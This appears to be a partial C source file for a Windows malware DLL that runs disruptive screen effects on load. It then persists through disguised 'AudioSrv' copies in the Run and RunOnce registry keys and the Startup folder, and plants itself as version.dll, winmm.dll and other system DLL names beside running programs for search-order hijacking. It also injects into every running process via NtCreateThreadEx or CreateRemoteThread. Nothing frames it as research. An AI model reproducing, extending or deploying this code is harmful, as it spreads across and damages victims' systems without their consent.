typedef NTSTATUS (WINAPI *PFN_NtCTE)(HANDLE*,ACCESS_MASK,void*,HANDLE,LPTHREAD_START_ROUTINE,void*,ULONG,SIZE_T,SIZE_T,SIZE_T,void*);
static HINSTANCE g_hmod=NULL;
static void mark_self(void){
CreateFileMappingW(INVALID_HANDLE_VALUE,NULL,PAGE_READONLY,0,4096,L"Global\\prty_mrk");
}
static BOOL do_inject(DWORD pid,const WCHAR *path,PFN_NtCTE ntcte,FARPROC ll){
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); if(!hp) return FALSE;
LPVOID rem=VirtualAllocEx(hp,NULL,(wcslen(path)+1)*2+16,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
if(!rem){CloseHandle(hp);return FALSE;}
SIZE_T wr=0; WriteProcessMemory(hp,rem,path,(wcslen(path)+1)*2,&wr);
HANDLE ht=NULL; NTSTATUS st=0;
if(ntcte) st=ntcte(&ht,THREAD_ALL_ACCESS,NULL,hp,(LPTHREAD_START_ROUTINE)ll,rem,0,0,0,0,NULL);
else{DWORD tid=0;ht=CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)ll,rem,0,&tid);st=(ht&&ht!=INVALID_HANDLE_VALUE)?0:-1;}
BOOL ok=(st==0&&ht&&ht!=INVALID_HANDLE_VALUE);
if(ok)CloseHandle(ht); CloseHandle(hp); return ok;
}
static void do_persist(void){
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
WCHAR appdata[MAX_PATH]; if(!GetEnvironmentVariableW(L"APPDATA",appdata,MAX_PATH)) return;
WCHAR dst[MAX_PATH];
wsprintfW(dst,L"%s\\Microsoft\\Windows\\AudioSrv%04x.dll",appdata,GetCurrentProcessId()&0xFFFF);
if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES) CopyFileW(src,dst,TRUE);
WCHAR cmd[MAX_PATH*2+32]; wsprintfW(cmd,L"rundll32.exe \"%s\",DllMain",dst);
HKEY hk;
if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
RegCloseKey(hk);
}
if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
RegCloseKey(hk);
}
WCHAR bat[MAX_PATH];
wsprintfW(bat,L"%s\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\AudioSrv.bat",appdata);
HANDLE hf=CreateFileW(bat,GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
if(hf!=INVALID_HANDLE_VALUE){
char narrow[MAX_PATH]; WideCharToMultiByte(CP_ACP,0,dst,-1,narrow,MAX_PATH,0,0);
char line[512]; wsprintfA(line,"@echo off\r\nrundll32.exe \"%s\",DllMain\r\n",narrow);
DWORD w=0; WriteFile(hf,line,(DWORD)lstrlenA(line),&w,NULL); CloseHandle(hf);
}
}
static void do_hijack(void){
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
DWORD mypid=GetCurrentProcessId();
PROCESSENTRY32W pe={sizeof(pe)};
if(Process32FirstW(snap,&pe)) do {
if(pe.th32ProcessID<=8||pe.th32ProcessID==mypid) continue;
HANDLE hmod=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pe.th32ProcessID);
if(hmod==INVALID_HANDLE_VALUE) continue;
MODULEENTRY32W me={sizeof(me)};
if(Module32FirstW(hmod,&me)){
WCHAR *exe=me.szExePath;
WCHAR *slash=exe; WCHAR *p=exe;
while(*p){if(*p==L'\\'||*p==L'/')slash=p;p++;}
*slash=0;
const WCHAR *targets[]={L"\\version.dll",L"\\winmm.dll",L"\\dbghelp.dll",L"\\cryptbase.dll",L"\\uxtheme.dll"};
for(int i=0;i<5;i++){
WCHAR dst[MAX_PATH]; wcscpy(dst,exe); wcscat(dst,targets[i]);
if(GetFileAttributesW(dst)==INVALID_FILE_ATTRIBUTES)
CopyFileW(src,dst,TRUE);
}
}
CloseHandle(hmod);
} while(Process32NextW(snap,&pe));
CloseHandle(snap);
}
static void do_spread(void){
HMODULE hnt=LoadLibraryW(L"ntdll.dll");
PFN_NtCTE ntcte=hnt?(PFN_NtCTE)GetProcAddress(hnt,"NtCreateThreadEx"):NULL;
FARPROC ll=GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"LoadLibraryW");
if(!ll) return;
WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
WCHAR tmp[MAX_PATH]; GetTempPathW(MAX_PATH,tmp);
SYSTEMTIME st; GetSystemTime(&st);
WCHAR dst[MAX_PATH];
wsprintfW(dst,L"%spty_%04x%04x.dll",tmp,(GetCurrentProcessId()^0xBEEF)&0xFFFF,(st.wMilliseconds^(st.wSecond<<8))&0xFFFF);
CopyFileW(src,dst,FALSE);
HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
DWORD mypid=GetCurrentProcessId();
PROCESSENTRY32W pe={sizeof(pe)};
if(Process32FirstW(snap,&pe)) do {
if(pe.th32ProcessID>8&&pe.th32ProcessID!=mypid)
do_inject(pe.th32ProcessID,dst,ntcte,ll);
} while(Process32NextW(snap,&pe));
CloseHandle(snap);
}
typedef DWORD (WINAPI *PFNFX)(void*);
static DWORD WINAPI party_thread(void *u){
Sleep(3000);
mark_self();
g_u32=LoadLibraryW(L"user32.dll");
g_g32=LoadLibraryW(L"gdi32.dll");
if(!g_u32||!g_g32) return 0;
g_sw=APIU(GetSystemMetrics)(SM_CXSCREEN);
g_sh=APIU(GetSystemMetrics)(SM_CYSCREEN);
InterlockedExchange(&g_rng,(LONG)(GetCurrentProcessId()^GetTickCount()));
PFNFX all[]={fx_meltdown,fx_strobe,fx_resize,fx_chromatic,fx_memdump,fx_scramble,fx_bounce,fx_shake,fx_matrix,fx_lightning,fx_static,fx_wormhole,fx_invwave,fx_pixelsort,fx_textcrawl,fx_tornado};
int base=(int)(GetCurrentProcessId()%16);
PFNFX chosen[3]={all[base%16],all[(base+5)%16],all[(base+11)%16]};
HANDLE threads[3];
for(int i=0;i<3;i++) threads[i]=CreateThread(NULL,0,chosen[i],NULL,0,NULL);
WaitForMultipleObjects(3,threads,TRUE,90000);
for(int i=0;i<3;i++) if(threads[i]) CloseHandle(threads[i]);
do_persist();
do_hijack();
do_spread();
WCHAR pname[64]; get_pipe_name(pname);
DWORD pid=GetCurrentProcessId();
for(int i=0;i<8;i++){
HANDLE h=CreateFileW(pname,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
if(h!=INVALID_HANDLE_VALUE){DWORD w=0;WriteFile(h,&pid,4,&w,NULL);CloseHandle(h);break;}
Sleep(200);
}
return 0;
}
BOOL WINAPI DllMain(HINSTANCE h,DWORD reason,void *r){
if(reason==DLL_PROCESS_ATTACH){
g_hmod=h;
DisableThreadLibraryCalls(h);
HANDLE ht=CreateThread(NULL,0,party_thread,NULL,0,NULL);
if(ht) CloseHandle(ht);
}
return TRUE;
}